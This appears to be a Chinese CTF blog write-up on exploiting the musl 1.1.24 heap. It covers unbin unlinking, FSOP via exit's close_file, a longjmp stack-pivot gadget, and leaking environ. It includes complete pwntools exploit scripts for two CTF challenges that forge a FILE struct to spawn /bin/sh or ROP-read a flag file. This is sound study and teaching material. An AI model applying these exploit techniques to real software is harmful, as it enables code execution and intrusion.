1.1.24 musl pwn
2022-05-14 10:40
756 查看
1.1.24 musl pwn
关键源码
static void unbin(struct chunk *c, int i) { if (c->prev == c->next) // 若 bin 只有一个 chunk,将 bin 设为空 bin a_and_64(&mal.binmap, ~(1ULL<<i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; // 设置 INUSE 标志位 NEXT_CHUNK(c)->psize |= C_INUSE; }
FSOP
调用
exit时
// src/exit/exit.c L27-L33 _Noreturn void exit(int code) { __funcs_on_exit(); __libc_exit_fini(); __stdio_exit(); <--- _Exit(code); }
其中的
__stdio_exit函数
// src/stdio/__stdio_exit.c L16-L23 void __stdio_exit(void) { FILE *f; for (f=*__ofl_lock(); f; f=f->next) close_file(f); close_file(__stdin_used); <--- close_file(__stdout_used); close_file(__stderr_used); }
再到
close_file函数
// src/stdio/__stdio_exit.c L8-L14 static void close_file(FILE *f) { if (!f) return; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0, 0); <--- if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR); }
当
wpos != wbase时,便会调用
write,并且参数为当前的
结构体。
栈迁移
如下gadget
搭配FSOP
可以很方便实现栈迁移。
.text:0000000000049503 loc_49503: .text:0000000000049503 mov rbx, [rdi] .text:0000000000049506 mov rbp, [rdi+8] .text:000000000004950A mov r12, [rdi+10h] .text:000000000004950E mov r13, [rdi+18h] .text:0000000000049512 mov r14, [rdi+20h] .text:0000000000049516 mov r15, [rdi+28h] .text:000000000004951A mov rdx, [rdi+30h] .text:000000000004951E mov rsp, rdx .text:0000000000049521 mov rdx, [rdi+38h] .text:0000000000049525 jmp rdx .text:0000000000049525 longjmp endp
泄露environ
也可以进行栈迁移来ROP
例题:高校战"疫" musl
exp
from pwn import* context(os = "linux", arch = 'amd64', log_level = 'debug') s = process('./carbon') elf = ELF('./carbon') libc = ELF("./libc.so") def add(size,content,ans='N'): s.sendlineafter(b'> ', b'1') s.sendlineafter(b'What is your prefer size? >', str(size)) s.sendlineafter(b'Are you a believer? >', ans) s.sendafter(b'Say hello to your new sleeve >', content) def delete(index): s.sendlineafter(b'> ', b'2') s.sendlineafter(b'What is your sleeve ID? >', str(index)) def edit(index,content): s.sendlineafter(b'> ', b'3') s.sendlineafter(b'What is your sleeve ID? >', str(index)) s.send(content) def show(index): s.sendlineafter(b'> ', b'4') s.sendlineafter(b'What is your sleeve ID? >', str(index)) add(0, b'') # 0 show(0) libc_base = u64(s.recv(6).ljust(8,b'\x00')) - 0xa0a80 - 912 success('[+] libc_base=> '+hex(libc_base)) system_addr = libc_base + 0x46bda stdin_addr = libc_base + 0xa01c0 mal = libc_base + 0xa0a80 brk = libc_base + 0xa2ff0 add(0x10, b'\n') # 1 add(0x10, b'\n') # 2 add(0x10, b'\n') # 3 add(0x10, b'\n') # 4 add(0x10, b'\n') # 5 add(0x10, b'\n') # 6 delete(0) delete(2) payload = b'a'*0x10 # 0 payload+= p64(0x21) + p64(0x21) # 1 payload+= b'a'*0x10 payload+= p64(0x21) + p64(0x20) # 2 payload+= p64(stdin_addr - 0x10)*2 payload+= p8(0x20) + b'\n' add(0x10, payload, b'Y') # 0 add(0x10, b'\n') # 2 unbin delete(1) edit(2, p64(mal-0x20)*2) add(0x10, b'\n') # 1 unbin delete(3) edit(2, p64(brk-0x10)*2) add(0x10, b'\n') # 3 unbin delete(5) bin37_head_addr = mal + 904 edit(2, p64(bin37_head_addr - 0x18)+p64(stdin_addr - 0x10)) add(0x10, b'\n') # 5 fake_IO = b'/bin/sh\x00' # flags fake_IO+= b'\x00'*0x20 fake_IO+= p64(1) # wpos fake_IO+= b'\x00'*0x8 fake_IO+= p64(2) # wbase fake_IO+= b'\x00'*0x8 fake_IO+= p64(system_addr) # write ''' struct _IO_FILE { unsigned int flags; unsigned char *rpos; unsigned char *rend; int (*close)(FILE *); unsigned char *wend; unsigned char *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t); size_t (*write)(FILE *, const unsigned char *, size_t); off_t (*seek)(FILE *, off_t, int); unsigned char *buf; size_t buf_size; FILE *prev; FILE *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim; off_t shcnt; FILE *prev_locked; FILE *next_locked; __locale_struct *locale; } * const ''' add(0x50, fake_IO) # 7 edit(2, p64(bin37_head_addr - 0x18)+p64(brk - 0x10)) add(0x10, b'\n') # 8 add(0x50, p64(0xBADBEEF - 0x20) + b'\n') # 9 edit(2, p64(bin37_head_addr - 0x18)+p64(mal - 0x20)) add(0x10, b'\n') # 10 add(0x20, b'a'*0x10 + p64(0)*2) gdb.attach(s) s.interactive()
例题:WMCTF Nescafe
exp1
from pwn import* context(os = 'linux', arch = 'amd64', log_level = 'debug') s = process('./pwn') libc = ELF('./libc.so') def add(content): s.sendlineafter(b'>>', b'1') s.sendafter(b'Please input the content\n', content) def delete(index): s.sendlineafter(b'>>', b'2') s.sendlineafter(b'idx:\n', str(index)) def show(index): s.sendlineafter(b'>>', b'3') s.sendlineafter(b'idx\n', str(index)) def edit(index,content): s.sendlineafter(b'>>', b'4') s.sendlineafter(b'idx:\n', str(index)) s.sendafter(b'Content\n', content) add(b'a'*0x8) # 0 add(b'b'*0x8) # 1 show(0) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50 success('[+] libc_base=> '+hex(libc_base)) mal = libc_base + 0x292ac0 stdout = libc_base + 0x292300 open_addr = libc_base + 0x23399 read_addr = libc_base + 0x59f8e write_addr = libc_base + 0x5a3b5 bin16_head_addr = mal + 8 + 0x18*16 + 8 chunk0 = libc_base + 0x2953b0 gadget = libc_base + 0x000000000004951A ''' .text:0000000000049503 loc_49503: .text:0000000000049503 mov rbx, [rdi] .text:0000000000049506 mov rbp, [rdi+8] .text:000000000004950A mov r12, [rdi+10h] .text:000000000004950E mov r13, [rdi+18h] .text:0000000000049512 mov r14, [rdi+20h] .text:0000000000049516 mov r15, [rdi+28h] .text:000000000004951A mov rdx, [rdi+30h] .text:000000000004951E mov rsp, rdx .text:0000000000049521 mov rdx, [rdi+38h] .text:0000000000049525 jmp rdx .text:0000000000049525 longjmp endp''' pop_rdi_ret = libc_base + 0x0000000000014862 pop_rsi_ret = libc_base + 0x000000000001c237 pop_rdx_ret = libc_base + 0x000000000001bea2 ret = libc_base + 0x0000000000000cdc delete(0) edit(0, p64(stdout - 0x10)*2) add(b'c'*0x8) # 2 delete(0) edit(0, p64(bin16_head_addr - 0x18) + p64(stdout - 0x10)) payload = b'./flag\x00\x00' payload+= p64(pop_rdi_ret) + p64(chunk0 + 0x10) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr) payload+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr) payload+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr) add(payload) # 3 ''' struct _IO_FILE { unsigned int flags; unsigned char *rpos; unsigned char *rend; int (*close)(FILE *); unsigned char *wend; unsigned char *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t); size_t (*write)(FILE *, const unsigned char *, size_t); off_t (*seek)(FILE *, off_t, int); unsigned char *buf; size_t buf_size; FILE *prev; FILE *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim; off_t shcnt; FILE *prev_locked; FILE *next_locked; __locale_struct *locale; } * const ''' payload = b'a'*0x30 payload+= p64(stdout + 0x50) + p64(ret) + b'\x00'*0x8 payload+= p64(gadget) # _IO_FILE->write payload+= p64(pop_rdi_ret) + p64(stdout + 0x38) + p64(gadget) payload+= p64(chunk0 + 0x18) + p64(ret) add(payload) # 4 orw #gdb.attach(s) s.interactive()
exp2
from pwn import* context(os = 'linux', arch = 'amd64', log_level = 'debug') s = process('./pwn') libc = ELF('./libc.so') def add(content): s.sendlineafter(b'>>', b'1') s.sendafter(b'Please input the content\n', content) def delete(index): s.sendlineafter(b'>>', b'2') s.sendlineafter(b'idx:\n', str(index)) def show(index): s.sendlineafter(b'>>', b'3') s.sendlineafter(b'idx\n', str(index)) def edit(index,content): s.sendlineafter(b'>>', b'4') s.sendlineafter(b'idx:\n', str(index)) s.sendafter(b'Content\n', content) add(b'a'*0x8) # 0 add(b'b'*0x8) # 1 show(0) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50 success('[+] libc_base=> '+hex(libc_base)) mal = libc_base + 0x292ac0 environ = libc_base + 0x294fd8 bin35_head_addr = mal + 8 + 0x18*35 + 8 open_addr = libc_base + 0x23399 read_addr = libc_base + 0x59f8e write_addr = libc_base + 0x5a3b5 pop_rdi_ret = libc_base + 0x0000000000014862 pop_rsi_ret = libc_base + 0x000000000001c237 pop_rdx_ret = libc_base + 0x000000000001bea2 flag_addr = libc_base + 0x2953c0 delete(0) edit(0, p64(bin35_head_addr - 0x18)*2) add(b'./flag\x00') # 2 add(p64(0)*13 + b'\x30') # 3 add(p64(0)*6) # 4 show(0) elf_base = u64(s.recv(6).ljust(8,b'\x00')) - 0x202040 success('[+] elf_base=> '+hex(elf_base)) edit(0, p64(elf_base + 0x202040) + p64(environ) + p64(0)*4) show(1) stack_back = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x70 success('[+] stack_back=> '+hex(stack_back)) rop = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr) rop+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr) rop+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr) edit(0, p64(elf_base + 0x202040) + p64(stack_back) + p64(0)*4) edit(1,rop) #gdb.attach(s) s.interactive()
相关文章推荐
- 51Talk2020Q1财报:营收4.87亿元 同比增长52.2%
- 流利说2020Q1财报:营收2.28亿元 同比下降9.9%
- 北京市交委立案调查ofo小黄车 并要求其限期整改
- 艾瑞咨询:2020年中国终身教育行业研究报告
- 企业IP化操作指南
- 移动互联网过后,下一个机会点在哪里?
- Elasticsearch提示low disk watermark [85%] exceeded on [UTyrLH40Q9uIzHzX-yMFXg][Sonofelice][/Users/baid...
- Python:conda install 和pip install的区别
- Blazor和Vue对比学习(知识点杂锦3.02):动态组件,component和DynamicComponent
- 每天一个 HTTP 状态码 202
- 有关状压DP
- 覆盖 70% 核心业务,ShardingSphere 如何成为喜马拉雅架构演进的催化剂
- 一文搞懂 ElasticSearch 之 Mapping
- Blazor和Vue对比学习(基础1.8):Blazor中实现计算属性和数据监听
- 【Azure Spring Cloud】Azure Spring Cloud connect to SQL using MSI
- EF Core 6.0
- C语言结构体的内存分配
- MS warning:win10无法启用internet连接共享,为lan连接配置的IP地址需要使用自动ip寻址。
- git操作
- 安装es客户端软件elasticsearch-head